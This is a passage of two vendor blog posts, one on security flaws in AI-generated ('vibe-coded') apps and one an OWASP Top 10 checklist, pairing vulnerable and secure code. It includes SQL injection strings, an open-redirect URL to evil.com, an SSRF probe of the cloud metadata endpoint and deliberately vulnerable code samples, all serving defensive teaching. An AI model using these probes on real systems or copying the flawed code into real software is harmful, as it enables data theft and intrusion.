  const csrfToken = request.headers.get('x-csrf-token');
  if (!verifyCsrfToken(csrfToken, session)) {
    return new Response('Forbidden', { status: 403 });
  }

  // 3. Validate and sanitize input
  const body = await request.json();
  const parsed = postSchema.safeParse(body);
  if (!parsed.success) {
    return Response.json({ error: 'Invalid input' }, { status: 400 });
  }

  // 4. Rate limit
  const allowed = await checkRateLimit(session.userId, 'create-post', 10);
  if (!allowed) {
    return new Response('Too many requests', { status: 429 });
  }

  // 5. Insert with parameterized query
  const post = await db.insert(posts).values({
    title: parsed.data.title,
    content: parsed.data.content,
    userId: session.userId,
  });

  return Response.json(post);
}
```

The second version has five security layers the first one lacks. The AI will never add them unless you ask.

### Supabase and Firebase Misconfigurations

Vibe-coded apps frequently use Backend-as-a-Service platforms. AI assistants often:

- Skip Row Level Security (RLS) policies in Supabase
- Leave Firebase security rules in test mode
- Expose service-role keys in client-side code
- Create overly permissive database policies

This is particularly dangerous because BaaS platforms give the client direct database access. Without proper security rules, any user can read, modify, or delete any other user's data.

```javascript
// AI-generated Supabase client — uses service_role key on the client!
import { createClient } from '@supabase/supabase-js';

const supabase = createClient(
  process.env.NEXT_PUBLIC_SUPABASE_URL,
  process.env.NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY // WRONG: full admin access exposed to browser
);
```

The `service_role` key bypasses all RLS policies. If this key is in client-side code (any env var prefixed with `NEXT_PUBLIC_`), anyone can inspect it in the browser and gain full administrative access to your entire database. The correct key to use in the client is the `anon` key, which respects RLS policies.

## Real-World Examples

These are patterns we see regularly when scanning vibe-coded applications:

**Exposed Supabase service key** — the AI was asked to "set up Supabase" and used the service_role key instead of the anon key in the client initialization. This gives any visitor full admin access to the database.

**No authentication on API routes** — the AI built CRUD endpoints but didn't add auth middleware because the prompt didn't mention it. Any unauthenticated user can read, modify, or delete data.

**SQL injection in search** — the AI built a search feature using string interpolation instead of parameterized queries because the prompt said "make it simple."

```javascript
// Vulnerable search — string interpolation allows injection
app.get('/api/search', async (req, res) => {
  const { q } = req.query;
  const results = await db.query(
    `SELECT * FROM products WHERE name LIKE '%${q}%'`
  );
  res.json(results);
});

// An attacker sends: ?q=' UNION SELECT * FROM users --
// This exposes the entire users table
```

**Unrestricted file uploads** — the AI implemented file upload without validating file types, sizes, or destinations. An attacker uploads a `.php` or `.html` file and achieves remote code execution or stored XSS.

**Missing CSRF tokens** — form submissions go directly to API routes without any CSRF protection. An attacker hosts a malicious page that auto-submits forms to your API using the victim's browser session.

**JWT stored in localStorage** — the AI stored authentication tokens in `localStorage` instead of `httpOnly` cookies. Any XSS vulnerability now gives the attacker full account takeover because JavaScript can read the token.

```javascript
// AI-generated: stores JWT in localStorage (vulnerable to XSS theft)
const login = async (email, password) => {
  const res = await fetch('/api/login', {
    method: 'POST',
    body: JSON.stringify({ email, password }),
  });
  const { token } = await res.json();
  localStorage.setItem('token', token); // Any XSS can steal this
};
```

**Open redirect** — the AI implemented a redirect feature using an unvalidated `returnTo` query parameter. Attackers use this for phishing: `yoursite.com/login?returnTo=https://evil.com`.

## How to Audit Vibe-Coded Apps

### Automated Scanning

The fastest way to catch common issues is to run an automated security scan. A comprehensive scan covers:

- **36+ vulnerability categories** in under a minute
- **Infrastructure config** — headers, SSL, DNS, cookies
- **Application security** — XSS, SQLi, CSRF, open redirects
- **Secrets exposure** — API keys in source code and bundles
- **Backend security** — Supabase RLS, Firebase rules
- **Dependency vulnerabilities** — known CVEs in your packages
- **AI code patterns** — detecting vibe-coded anti-patterns specifically

### Security Review Checklist for Vibe-Coded Apps

Before deploying any vibe-coded feature, check these:

1. **Authentication** — is every API route protected? Can unauthenticated users access data they shouldn't?
2. **Authorization** — can User A access User B's data? Are RLS policies in place?
3. **Input validation** — are all inputs validated on the server side?
4. **Secrets** — are any API keys or tokens exposed in client-side code?
5. **CORS** — is it restricted to your domain, or open to `*`?
6. **Headers** — are security headers (CSP, HSTS, X-Frame-Options) configured?
7. **Dependencies** — are there known vulnerabilities in your package.json?
8. **Error handling** — do errors expose stack traces or internal details?

### Make Scanning a Habit

The biggest risk with vibe coding is speed. You ship so fast that security review gets skipped. The fix is to make scanning automatic:

- Scan after every deployment
- Set up daily scheduled scans
- Add scan checks to your CI/CD pipeline
- Get alerts when new critical issues appear

## Integrating Security Into Your AI Workflow

### The CheckVibe MCP Server

If you are using Claude Code, Cursor, or any AI editor that supports the Model Context Protocol (MCP), you can integrate security scanning directly into your development workflow using the [CheckVibe MCP server](https://www.npmjs.com/package/@checkvibe/mcp-server).

Install it via npm:

```bash
npm install -g @checkvibe/mcp-server
```

Once configured, you can scan directly from your AI editor:

```
"Scan https://myapp.vercel.app for security issues"
```

The MCP server provides nine tools — `run_scan`, `get_scan_results`, `list_scans`, `list_projects`, `get_project`, `update_project`, `dismiss_finding`, `list_dismissals`, and `restore_finding` — so you can scan, review findings, and manage your security posture without leaving your editor.

This turns security scanning from "something you do after shipping" into "something that happens while you build." The AI assistant that is writing your code can also check that code for vulnerabilities in the same conversation.

### Creating a .cursorrules Security Template

If you use Cursor, you can create a `.cursorrules` file in your project root that instructs the AI to write secure code by default. This is one of the most effective ways to shift security left in a vibe-coding workflow:

```
# .cursorrules — Security-First Coding Guidelines

## Authentication & Authorization
- Always add authentication checks to API routes
- Use server-side session validation, never trust client-side tokens
- Implement Row Level Security (RLS) for all Supabase tables
- Check authorization (not just authentication) on every endpoint

## Input Validation
- Validate all inputs server-side using Zod or similar schema validation
- Never trust client-side validation alone
- Sanitize HTML content with DOMPurify before rendering
- Use parameterized queries for all database operations

## Secrets Management
- Never use NEXT_PUBLIC_ prefix for secret keys
- Use the Supabase anon key (not service_role) in client code
- Store secrets in environment variables, never in source code

## Security Headers
- Include CSRF token validation on all state-changing endpoints
- Set CORS to specific origins, never use wildcard (*)
- Always configure CSP, HSTS, X-Frame-Options headers

## Session Security
- Store tokens in httpOnly cookies, never localStorage
- Set Secure, HttpOnly, and SameSite flags on all cookies
- Implement rate limiting on authentication endpoints
```

With this file in your project, every AI-generated code suggestion will be influenced by these security requirements. It does not guarantee perfect security, but it dramatically reduces the number of basic vulnerabilities that slip through.

## CheckVibe's Vibe Coding Detection

CheckVibe includes a dedicated vibe coding detector that identifies AI-generated code patterns and flags the security issues they commonly introduce. It uses AI analysis to:

- Detect AI-generated code patterns in your source
- Identify common AI security anti-patterns
- Flag missing security layers that AI assistants typically skip
- Prioritize findings specific to rapid-development workflows

The goal isn't to discourage vibe coding — it's to make it safe. Ship fast, scan faster.

## Related Reading

If you are building with AI code editors and want to go deeper on security, these guides cover specific areas in detail:

- [How to Security Audit Cursor and Copilot Code](/blog/cursor-copilot-security-audit) — a step-by-step guide to reviewing AI-generated code for vulnerabilities
- [The Real Security Risks of Vibe Coding](/blog/vibe-coding-security-risks) — data and case studies on what goes wrong when AI writes your backend
- [How to Secure a Vibe-Coded App](/blog/how-to-secure-vibe-coded-app) — a practical guide to hardening applications built with AI assistants

## FAQ

### Is vibe coding dangerous?

Vibe coding itself is not inherently dangerous, but it introduces security risks that developers need to actively manage. The danger comes from the speed: you can ship features so fast that security review is skipped entirely. The Wiz Research study found that 20% of AI-generated code snippets contained vulnerabilities, and the Stanford confidence gap study showed developers using AI tools believed their code was more secure than it actually was. The solution is not to stop vibe coding — it is to pair it with automated security scanning so that every feature gets checked before it reaches production.

### Can I trust AI auth code?

You should treat AI-generated authentication code with extra scrutiny. Authentication is one of the areas where AI assistants make the most mistakes: using `localStorage` instead of `httpOnly` cookies for token storage, missing CSRF protection, skipping rate limiting on login endpoints, and generating overly permissive session handling. Always review authentication code line by line, test it against OWASP authentication guidelines, and run an automated scan that specifically checks auth flows. If you are using Supabase or Firebase, double-check that the AI used the correct client keys (anon, not service_role) and that RLS policies are properly configured.

### How do I make Cursor write secure code?

The most effective approach is to add a `.cursorrules` file to your project root with explicit security requirements (see the template above). This instructs Cursor's AI to include authentication checks, input validation, CSRF protection, and other security layers by default. You should also be explicit in your prompts — instead of "create a form that saves to the database," say "create a form with server-side validation, CSRF protection, authentication check, and rate limiting that saves to the database using parameterized queries." Additionally, install the CheckVibe MCP server so you can scan your application directly from Cursor as you build.

### Should I stop using AI tools?

No. AI coding assistants provide massive productivity gains and there is no going back. The right approach is to use them with a security-aware workflow: add a `.cursorrules` file with security guidelines, be explicit about security requirements in your prompts, scan your application after every significant change, and set up automated monitoring. Think of it like driving a car — the speed is the feature, but you still need brakes and a seatbelt. Automated security scanning is the seatbelt for vibe coding.

---

*Building with AI? Make sure it's secure. [Scan your vibe-coded app](https://checkvibe.dev/signup) with CheckVibe and catch what the AI missed.*


---

## OWASP Top 10 Checklist for 2026: Is Your Web App Vulnerable?

*A practical walkthrough of the OWASP Top 10 with an actionable check for each risk. Use it to audit your web application's security posture.*

Published: 2026-02-08 | Reading time: 18 min read
URL: https://checkvibe.dev/blog/owasp-top-10-checklist


The OWASP Top 10 is the industry-standard reference for the most critical web application security risks. Whether you're building a SaaS product, an e-commerce site, or an internal tool, these ten categories cover the vulnerabilities most likely to get you breached.

Here's a practical checklist you can use to audit your application against each one, complete with code examples, severity ratings, quick tests, and real-world breach references.

## A01: Broken Access Control

**Severity: Critical** | **Prevalence: #1 most common** | **Quick test: Change an ID in the URL and see if you can access another user's data**

Access control failures are the number one web application security risk. They happen when users can act outside their intended permissions. In the 2021 OWASP analysis, 94% of applications tested had some form of broken access control, with a 3.81% incidence rate across 318,000+ data points.

**Real-world breach:** In 2019, a major US financial institution (Capital One) suffered a breach exposing 106 million customer records due to a misconfigured WAF combined with SSRF — an access control failure that allowed an attacker to access internal metadata services. More recently, in 2024, multiple SaaS applications were found to have Insecure Direct Object Reference (IDOR) vulnerabilities that allowed users to access other users' billing data simply by changing a numeric ID in API requests.

**What to check:**
- Can users access other users' data by changing an ID in the URL?
- Are API endpoints checking authentication AND authorization?
- Can users escalate their role or permissions?
- Are admin functions accessible to regular users?
- Do you enforce server-side access control (not just hiding UI elements)?

**Code example — vulnerable vs. secure:**

```typescript
// VULNERABLE: No authorization check — any authenticated user can access any user's data
app.get('/api/users/:id/profile', authenticate, async (req, res) => {
  const profile = await db.query('SELECT * FROM profiles WHERE user_id = $1', [req.params.id]);
  res.json(profile);
});

// SECURE: Verify the requesting user owns the resource
app.get('/api/users/:id/profile', authenticate, async (req, res) => {
  if (req.user.id !== req.params.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const profile = await db.query('SELECT * FROM profiles WHERE user_id = $1', [req.params.id]);
  res.json(profile);
});
```

In Supabase, the equivalent protection is Row Level Security (RLS):

```sql
-- RLS policy: users can only read their own profile
CREATE POLICY "Users can view own profile"
  ON profiles FOR SELECT
  USING (auth.uid() = user_id);
```

**How CheckVibe helps:** Our auth scanner tests for missing authentication on endpoints, IDOR patterns, and privilege escalation paths.

## A02: Cryptographic Failures

**Severity: High** | **Prevalence: #2** | **Quick test: Check if your site uses HTTPS and test TLS version with `curl -v`**

Previously called "Sensitive Data Exposure," this category covers failures in cryptography that lead to data exposure. This includes transmitting data in cleartext, using weak encryption algorithms, and improper key management.

**Real-world breach:** The 2017 Equifax breach (147 million records) was partially enabled by an expired TLS certificate on an internal inspection tool, which meant encrypted traffic containing stolen data was not being monitored. In 2023, researchers found that 25% of the top 100,000 websites still supported TLS 1.0 or 1.1, both of which have known vulnerabilities.

**What to check:**
- Is data transmitted over HTTPS with a valid certificate?
- Are TLS versions current (TLS 1.2+ only)?
- Are passwords hashed with strong algorithms (bcrypt, scrypt, argon2)?
- Are API keys and secrets stored securely (not in source code)?
- Is HSTS enabled to prevent protocol downgrade?
- Are sensitive cookies marked with the `Secure` flag?

**Code example — proper password hashing:**

```javascript
import bcrypt from 'bcrypt';

// SECURE: Hash passwords with bcrypt (cost factor 12)
const hashPassword = async (plaintext) => {
  const saltRounds = 12;
  return await bcrypt.hash(plaintext, saltRounds);
};

// SECURE: Compare passwords safely
const verifyPassword = async (plaintext, hash) => {
  return await bcrypt.compare(plaintext, hash);
};

// INSECURE alternatives to avoid:
// - MD5, SHA1, SHA256 without salt (rainbow table attacks)
// - Storing passwords in plaintext
// - Using a static salt for all users
```

**How CheckVibe helps:** The SSL/TLS scanner checks certificate validity, protocol versions, and cipher strength. The API key scanner detects exposed secrets.

## A03: Injection

**Severity: Critical** | **Prevalence: #3** | **Quick test: Enter `' OR 1=1 --` in a search field and see if it returns unexpected results**

Injection flaws — SQL injection, XSS, command injection — occur when untrusted data is sent to an interpreter without validation. SQL injection alone accounts for roughly 33% of all web application vulnerabilities according to NIST's National Vulnerability Database.

**Real-world breach:** The 2008 Heartland Payment Systems breach (130 million credit card numbers) was caused by SQL injection. More recently, the 2023 MOVEit Transfer vulnerability (CVE-2023-34362) was a SQL injection flaw that led to data theft affecting over 2,500 organizations and 60+ million individuals.

**What to check:**
- Are all database queries parameterized?
- Is user input sanitized before rendering in HTML?
- Are command-line calls using safe APIs (not string concatenation)?
- Is there a Content Security Policy blocking inline scripts?
- Are ORM/query builders used instead of raw SQL?

**Code example — SQL injection prevention:**

```typescript
// VULNERABLE: String concatenation — classic SQL injection
const search = async (query: string) => {
  return await db.query(`SELECT * FROM products WHERE name LIKE '%${query}%'`);
  // Attacker input: ' UNION SELECT username, password FROM users --
};

// SECURE: Parameterized query
const search = async (query: string) => {
  return await db.query(
    'SELECT * FROM products WHERE name LIKE $1',
    [`%${query}%`]
  );
};
```

**Code example — XSS prevention in React:**

```jsx
// VULNERABLE: Renders raw HTML from user input
function Comment({ body }) {
  return <div dangerouslySetInnerHTML={{ __html: body }} />;
}

// SECURE: Sanitize with DOMPurify before rendering
import DOMPurify from 'dompurify';

function Comment({ body }) {
  const clean = DOMPurify.sanitize(body, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href'],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
```

**How CheckVibe helps:** Dedicated SQL injection and XSS scanners test with hundreds of payload variations across all input vectors.

## A04: Insecure Design

**Severity: High** | **Prevalence: #4** | **Quick test: Try to abuse a feature — can you create unlimited free trial accounts? Can you bypass payment?**

This is about fundamental design flaws, not implementation bugs. No amount of code fixing can address a design that's insecure by nature. OWASP added this category in 2021 to emphasize that security must be considered from the design phase, not bolted on after implementation.

**Real-world example:** Many SaaS applications allow users to upgrade their plan via a client-side API call that trusts the plan name from the request body. An attacker changes `"plan": "free"` to `"plan": "enterprise"` and gains premium features. This is a design flaw — the pricing logic should be enforced server-side using validated Stripe webhook data, not client input.

**What to check:**
- Is there threat modeling for critical features?
- Are security requirements defined before development?
- Do business logic flows have abuse-case testing?
- Are rate limits in place for sensitive operations (login, password reset)?
- Is there defense in depth (multiple security layers)?

**Code example — rate limiting a login endpoint:**

```typescript
import { Ratelimit } from '@upstash/ratelimit';
import { Redis } from '@upstash/redis';

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, '15 m'), // 5 attempts per 15 minutes
});

export async function POST(request: Request) {
  const ip = request.headers.get('x-forwarded-for') ?? '127.0.0.1';
  const { success } = await ratelimit.limit(`login:${ip}`);

  if (!success) {
    return new Response('Too many login attempts. Try again later.', {
      status: 429,
    });
  }

  // ... proceed with login logic
}
```

**How CheckVibe helps:** The DDoS/rate-limit scanner checks for rate limiting and WAF presence. The CSRF scanner verifies anti-forgery protections.

## A05: Security Misconfiguration

**Severity: Medium-High** | **Prevalence: #5 (most common finding in CheckVibe scans)** | **Quick test: Visit `yourdomain.com` and check response headers in browser DevTools**

The most common issue we find in scans. Default configurations, unnecessary features, and missing hardening. OWASP reports a 4.51% incidence rate, with 90% of applications tested for misconfiguration having some form of it.

**Real-world breach:** The 2019 Facebook breach (540 million records exposed) was caused by third-party apps storing Facebook data on misconfigured Amazon S3 buckets with public access. Security misconfiguration is also the root cause of most cloud data leaks — Gartner estimates that through 2025, 99% of cloud security failures are the customer's fault (misconfiguration, not provider flaws).

**What to check:**
- Are security headers configured (CSP, HSTS, X-Frame-Options)?
- Is directory listing disabled?
- Are default credentials changed?
- Are error messages generic (not exposing stack traces)?
- Are unnecessary HTTP methods disabled?
- Are CORS policies restrictive?

**Code example — Next.js security headers configuration:**

```javascript
// next.config.js — add security headers
const securityHeaders = [
  { key: 'X-Frame-Options', value: 'DENY' },
  { key: 'X-Content-Type-Options', value: 'nosniff' },
  { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
  { key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://*.supabase.co;",
  },
  { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
];

module.exports = {
  async headers() {
    return [{ source: '/(.*)', headers: securityHeaders }];
  },
};
```

**How CheckVibe helps:** The security headers scanner checks all major headers. The CORS scanner tests for overly permissive policies. The tech scanner identifies exposed version information.

## A06: Vulnerable and Outdated Components

**Severity: Medium-High** | **Prevalence: #6** | **Quick test: Run `npm audit` in your project directory**

Using components with known vulnerabilities is one of the easiest attack vectors. The Synopsys 2024 Open Source Security and Risk Analysis report found that 84% of codebases contained at least one known vulnerability, and 48% contained high-severity vulnerabilities.

**Real-world breach:** The 2017 Equifax breach was caused by a known vulnerability in Apache Struts (CVE-2017-5638) that had a patch available two months before the breach. The 2021 Log4Shell vulnerability (CVE-2021-44228) in Log4j affected hundreds of millions of systems and demonstrated how a single dependency vulnerability can cascade across the entire software supply chain.

**What to check:**
- Are all npm/pip/gem dependencies up to date?
- Are there known CVEs in your dependency tree?
- Is the framework version current and supported?
- Are unused dependencies removed?
- Do you have automated dependency scanning in CI/CD?

**Code example — automated dependency auditing in CI/CD:**

```yaml
# .github/workflows/security.yml
name: Security Audit
on:
  push:
    branches: [main]
  schedule:
    - cron: '0 6 * * 1' # Weekly Monday 6am

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm audit --audit-level=high
        continue-on-error: false # Fail the build on high-severity CVEs
```

**How CheckVibe helps:** The dependency scanner checks your package.json against known vulnerability databases and flags outdated packages.

## A07: Identification and Authentication Failures

**Severity: High** | **Prevalence: #7** | **Quick test: Try logging in with common passwords, check if rate limiting kicks in, test session cookies for Secure/HttpOnly flags**

Weaknesses in authentication mechanisms that allow attackers to compromise passwords, keys, or session tokens. Verizon's 2024 Data Breach Investigations Report found that stolen credentials were involved in 44% of breaches.

**Real-world breach:** The 2024 Snowflake-related breaches (affecting Ticketmaster, AT&T, and others) were caused by compromised customer credentials without multi-factor authentication. Attackers used credentials stolen from earlier breaches to access accounts that had no MFA requirement.

**What to check:**
- Is multi-factor authentication available?
- Are passwords enforced with minimum complexity?
- Are session tokens rotated after login?
- Is there brute force protection (account lockout, rate limiting)?
- Are session cookies marked Secure, HttpOnly, SameSite?

**Code example — secure session cookie configuration:**

```typescript
// Setting secure session cookies in Next.js
import { cookies } from 'next/headers';

export async function setSessionCookie(token: string) {
  const cookieStore = await cookies();
  cookieStore.set('session', token, {
    httpOnly: true,     // Not accessible via JavaScript (prevents XSS theft)
    secure: true,       // Only sent over HTTPS
    sameSite: 'lax',    // Prevents CSRF from cross-origin requests
    path: '/',
    maxAge: 60 * 60 * 24, // 24 hours
  });
}

// INSECURE alternatives to avoid:
// - localStorage.setItem('token', jwt) — readable by any XSS payload
// - Cookies without httpOnly — same XSS risk
// - Cookies without secure — sent over HTTP in cleartext
// - sameSite: 'none' — allows cross-origin requests (CSRF risk)
```

**How CheckVibe helps:** The auth scanner tests login flows, the cookie scanner checks session security flags, and the CSRF scanner verifies token implementation.

## A08: Software and Data Integrity Failures

**Severity: Medium-High** | **Prevalence: #8** | **Quick test: Check if external scripts use Subresource Integrity (SRI) hashes, verify your CI/CD pipeline requires code review**

Failures related to code and infrastructure that don't protect against integrity violations — like insecure CI/CD pipelines or auto-update mechanisms. This category was added in the 2021 OWASP update, largely in response to supply chain attacks like SolarWinds.

**Real-world breach:** The 2020 SolarWinds attack compromised the build pipeline to inject malicious code into a legitimate software update, affecting 18,000+ organizations including US government agencies. The 2021 Codecov incident compromised a bash uploader script, exposing environment variables (including credentials) from thousands of CI/CD pipelines. These incidents demonstrate why pipeline security and integrity verification are critical.

**What to check:**
- Are dependencies verified with lock files and checksums?
- Is the CI/CD pipeline secured against unauthorized changes?
- Are subresource integrity (SRI) hashes used for external scripts?
- Are code reviews required before merging?

**Code example — Subresource Integrity for external scripts:**

```html
<!-- VULNERABLE: Loading external script without integrity check -->
<script src="https://cdn.example.com/analytics.js"></script>

<!-- SECURE: SRI hash ensures the script hasn't been tampered with -->
<script
  src="https://cdn.example.com/analytics.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous"
></script>
```

If an attacker compromises the CDN and modifies `analytics.js`, the browser will refuse to execute it because the hash will not match. Without SRI, any compromise of the CDN means arbitrary JavaScript execution on your site.

**How CheckVibe helps:** The security headers scanner checks for SRI usage and the GitHub security scanner audits your repository configuration.

## A09: Security Logging and Monitoring Failures

**Severity: Medium** | **Prevalence: #9** | **Quick test: Trigger a failed login and check if it appears in your application logs**

Without logging and monitoring, breaches go undetected. Most breaches are discovered by external parties, not the victim. IBM's 2024 Cost of a Data Breach Report found that the average time to identify and contain a breach was 258 days, and organizations with security AI and automation saved an average of $1.76 million per breach.

**Real-world breach:** The 2013 Target breach (40 million credit card numbers) went undetected for weeks despite security alerts from their FireEye monitoring system — because no one was watching the dashboard. The alerts were generated and ignored. This illustrates that logging alone is insufficient; you need alerting and response processes.

**What to check:**
- Are login attempts logged (successes and failures)?
- Are access control failures logged?
- Is there alerting for suspicious patterns?
- Are logs stored securely and tamper-proof?
- Is there an incident response plan?

**Code example — structured security logging:**

```typescript
// Security event logger — structured JSON for easy alerting
function logSecurityEvent(event: {
  type: 'auth_failure' | 'auth_success' | 'access_denied' | 'rate_limited' | 'suspicious_input';
  userId?: string;
  ip: string;
  path: string;
  details?: string;
}) {
  console.log(JSON.stringify({
    timestamp: new Date().toISOString(),
    level: 'security',
    ...event,
  }));
  // In production: send to SIEM (Datadog, Splunk, etc.)
}

// Usage in an auth endpoint:
if (!passwordValid) {
  logSecurityEvent({
    type: 'auth_failure',
    ip: request.headers.get('x-forwarded-for') ?? 'unknown',
    path: '/api/auth/login',
    details: `Failed login for email: ${email}`,
  });
}
```

**How CheckVibe helps:** The audit logging scanner checks for monitoring infrastructure and logging practices.

## A10: Server-Side Request Forgery (SSRF)

**Severity: High** | **Prevalence: #10** | **Quick test: If your app fetches URLs (webhooks, image proxies, link previews), try submitting `http://169.254.169.254/latest/meta-data/` and see if it returns AWS metadata**

SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL, allowing attackers to access internal services. SSRF was added to the OWASP Top 10 in 2021, reflecting the growing risk in cloud-native architectures where metadata endpoints and internal services are accessible from application servers.

**Real-world breach:** The Capital One breach (mentioned in A01) was fundamentally an SSRF attack — the attacker exploited a misconfigured WAF to make server-side requests to the AWS metadata endpoint (169.254.169.254), obtaining temporary credentials that gave access to S3 buckets containing 106 million customer records. SSRF is especially dangerous in cloud environments where metadata endpoints expose IAM credentials.

**What to check:**
- Do URL inputs validate against internal IP ranges?
- Are webhook URLs restricted to public addresses?
- Is DNS rebinding mitigated?
- Are cloud metadata endpoints blocked (169.254.169.254)?
- Is there an allowlist for external service URLs?

**Code example — SSRF protection for URL fetching:**

```typescript
import { URL } from 'url';
import dns from 'dns/promises';

async function safeFetch(userUrl: string): Promise<Response> {
  const parsed = new URL(userUrl);

  // Block private/internal hostnames
  const blockedHosts = ['localhost', '127.0.0.1', '0.0.0.0', '169.254.169.254'];
  if (blockedHosts.includes(parsed.hostname)) {
    throw new Error('Internal URLs are not allowed');
  }

  // Block private IP ranges and .internal/.local domains
  if (parsed.hostname.endsWith('.internal') || parsed.hostname.endsWith('.local')) {
    throw new Error('Internal domains are not allowed');
  }

  // Resolve DNS and verify the IP is public
  const addresses = await dns.resolve4(parsed.hostname);
  for (const addr of addresses) {
    if (
      addr.startsWith('10.') ||
      addr.startsWith('172.16.') ||
      addr.startsWith('192.168.') ||
      addr.startsWith('127.') ||
      addr.startsWith('169.254.')
    ) {
      throw new Error('URL resolves to a private IP address');
    }
  }

  return fetch(userUrl, { redirect: 'manual' }); // Don't follow redirects to internal URLs
}
```

**How CheckVibe helps:** The redirect scanner tests for open redirect and SSRF patterns, and the security headers scanner verifies proper configuration.

## Run the Full Checklist Automatically

Going through this checklist manually for every deployment isn't realistic. That's why automated scanning exists — to run all these checks consistently, quickly, and repeatedly.

CheckVibe covers all 10 OWASP categories across its 36 scanner suite. One scan, under a minute, and you get a complete picture of where your application stands.

For deeper dives into specific vulnerability categories, see our related guides:

- [OWASP Top 10 for Indie Hackers](/blog/owasp-top-10-for-indie-hackers) — a simplified walkthrough focused on the risks that matter most for solo developers and small teams
- [SQL Injection Prevention Guide](/blog/sql-injection-prevention-guide) — deep dive into parameterized queries, ORMs, and WAF rules for preventing injection attacks
- [How to Find XSS Vulnerabilities](/blog/find-xss-vulnerabilities) — practical techniques for discovering and fixing cross-site scripting in your application

## FAQ

### How often is OWASP Top 10 updated?

The OWASP Top 10 is updated every 3-4 years based on data from hundreds of organizations and thousands of applications. The current version was released in 2021 (a significant update that added Insecure Design, Software Integrity Failures, and SSRF as new categories). The previous versions were published in 2017, 2013, 2010, and 2007. The next update is expected in 2025-2026. Between updates, the underlying vulnerabilities do not change — the list reflects shifts in prevalence and impact data, not new vulnerability types. You should audit against the current Top 10 regardless of when the next update arrives.

### Is OWASP compliance required?

The OWASP Top 10 is not a legal or regulatory compliance requirement in itself. However, it is referenced by many compliance frameworks. PCI DSS (Payment Card Industry Data Security Standard) requires that applications are developed in accordance with secure coding guidelines and specifically references OWASP. SOC 2 Type II audits frequently use the OWASP Top 10 as a benchmark for application security controls. GDPR Article 32 requires "appropriate technical measures" to protect personal data, and the OWASP Top 10 is widely accepted as a baseline for what "appropriate" means. In practice, if you pass an OWASP Top 10 audit, you are in a strong position for most compliance frameworks.

### Which risk is most common?

Broken Access Control (A01) is the most common vulnerability category, with a 3.81% incidence rate across 318,000+ data points in OWASP's analysis. In CheckVibe scans specifically, Security Misconfiguration (A05) is the most frequent finding — nearly every application is missing at least one security header or has an overly permissive CORS policy. Injection (A03) remains one of the most dangerous despite being well-understood, because AI-generated code and rapid development frequently bypass parameterized query patterns. The combination of A01, A03, and A05 accounts for the majority of real-world breaches.

### How do I test against OWASP?

The most practical approach is to use a combination of automated scanning and targeted manual testing. Start by running an automated scanner like CheckVibe against your live application — this covers the detectable aspects of all 10 categories in under a minute. For deeper testing, use the OWASP Testing Guide (a 400+ page document with specific test cases for each category) as a reference. For each category, try the "quick test" listed in the sections above. For injection testing, use tools like SQLMap (for SQL injection) and the XSS payloads from the OWASP Cheat Sheet Series. For access control, manually test every API endpoint with different user roles. Run `npm audit` for dependency vulnerabilities. Check your security headers at securityheaders.com. The key is to make testing a recurring process — not a one-time event.

---

*Check your app against the OWASP Top 10 in 60 seconds. [Start scanning with CheckVibe](https://checkvibe.dev/signup) — free to try, no credit card required.*